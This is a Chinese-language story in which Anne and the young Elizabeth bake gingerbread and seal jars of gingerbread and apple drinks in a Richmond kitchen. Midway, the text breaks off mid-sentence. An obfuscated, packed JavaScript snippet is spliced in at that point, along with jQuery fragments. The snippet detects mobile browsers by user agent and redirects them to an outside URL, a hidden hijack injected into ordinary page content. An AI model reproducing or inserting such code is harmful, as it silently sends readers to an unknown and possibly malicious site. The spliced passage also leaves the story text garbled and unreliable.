里士满的厨房今天像一座被蜂蜜灌满的钟楼。砖墙被炉火映成淡金色，空气里飘着姜、肉桂和苹果皮的香气，像有人在空气里撒了一把香料雨。安妮把袖子挽到手肘，露出长年握笔留下的细茧，手腕上缠着一条褪了色的围裙带，带子上还绣着一枚小小的玫瑰。伊丽莎白踮着脚，在桌边转来转去，像一只好奇的麻雀，鼻尖沾着一点面粉，像不小心抹上的雪。


    厨房中央，那座老炉子如今被安妮改造得神气活现。炉膛被砖匠分成三段：第一段温柔得像春日午后的阳光，适合发酵前的低温醒面；第二段热烈似盛夏，能把姜饼烤得外脆内软；第三段则像晚秋的余烬，慢慢烘着苹果酒里的果香，不焦不燥。胡椒狗蹲在第一段炉门前，舌头耷拉，尾巴啪嗒啪嗒地拍地面，像给每一个温度打拍子。


    “记住，”安妮把一块揉好的姜饼面团放在案板上，手指轻轻压出玫瑰纹路，“姜饼和权力一样，得先让时间驯服香料，再让温度驯服甜味。”


    伊丽莎白眨眨眼，学着她的样子压出另一朵玫瑰，却压得太用力，面团边缘裂成一片小小的花瓣。她吐了吐舌头：“那裂缝就是权力的代价？”


    安妮失笑，用指尖蘸了点蜂蜜，把裂缝轻轻黏合，像修补一道历史的缝隙：“代价也可以变成花纹。”


    胡椒狗立刻把鼻子凑过去，鼻尖几乎碰到面团。安妮挑眉：“裁判先生，请打分。”狗尾巴摇成风车，打了个喷嚏，算是全票通过。


    面团被切成城堡、玫瑰和天鹅的形状，一一排在铁盘上。安妮把第一批送进第二段炉膛，炉火舔着铁盘，发出轻微的噼啪声。伊丽莎白守在炉门前，脸颊被烤得红扑扑，像两颗熟透的苹果。


    “烤炉也分三温，”安妮一边计时，一边解释，“第一段像修道院的晨祷，温柔地叫醒酵母；第二段像市集正午，热烈地催促香气；第三段则像冬夜里的壁炉，慢慢把故事烤进味道里。”


    胡椒狗在第三段炉门前打了个滚，肚皮朝天，尾巴继续打拍子，仿佛在说：故事已经准备好了。


    姜饼出炉时，空气里炸开一阵甜香。安妮用铁铲轻轻铲起一块，边缘金黄，中心柔软，像一轮半透明的月亮。伊丽莎白迫不及待地掰下一角，烫得直嘘气，却笑得眼睛弯弯：“月亮的味道！”


    姜饼太多，吃不完。安妮把剩下的姜饼、烤焦的边、碎屑、连同蜂蜜和苹果皮一起装进大铜盆，用木杵捣碎，像捣一场小型的叛乱。伊丽莎白拿着小杵加入，鼓手似的咚咚咚，面粉与蜂蜜混成浓稠的浆，像金色的河流。


    “现在，”安妮把浆液倒进干净的玻璃罐，“我们要让时间继续讲故事。”她加入少量温水和酵母，封罐，用蜡封口，瓶身贴上日期：1541 年 2月 17 日。


    伊丽莎白伸长脖子，鼻尖几乎碰到瓶口：“什么时候能喝？”


    安妮把罐子放在第三段炉膛旁的架子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155906|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上，炉火温柔地烘着瓶底，像一位耐心的老祖父。“耐心，”她说，“是第二段炉火，比第一段更慢，却比第三段更长久。”


    她们又做了苹果酒。苹果被切成月牙，和肉桂、丁香、蜂蜜一起塞进陶罐，再浇上少量莱茵白酒。陶罐被蜡封，排在姜饼酒瓶旁边，像一排等待检阅的士兵。


    伊丽莎白数着罐子，眼睛里闪着光：“十罐姜饼酒，八罐苹果酒，一共十八个故事。”


    安妮把最后一滴蜂蜜封进瓶口，抬头望向窗外。暮色降临，泰晤士河像一条沉睡的银蛇，河面映着城堡的灯火。胡椒狗在炉火旁蜷成一团，尾巴盖在鼻子上，像守着十八个未讲完的梦。


    “记住，”安妮把伊丽莎白的手放在罐口，掌心贴着温热的玻璃，“故事需要时间发酵，也需要耐心倾听。今天我们把日子封进罐里，明天罐子会把故事还给我们。”


    伊丽莎白点点头，忽然踮脚在安妮脸上亲了一下，像偷走一片月光。她小声说：“我会等，像炉火一样耐心。”


    炉火静静地燃着，第三段温度把夜晚烤得柔软而漫长。姜饼的香气、苹果的甜味、蜂蜜的醇厚，在罐子里慢慢交融，像一场无声的舞会。


    胡椒狗在梦里打了个滚，尾巴轻轻扫过安妮的脚踝，像是说：舞会已经开始，只差时间这位乐手。


    安妮熄了灯，只留下炉火的红光，在墙上投下两个并肩的影子，像两朵将要开放的玫瑰。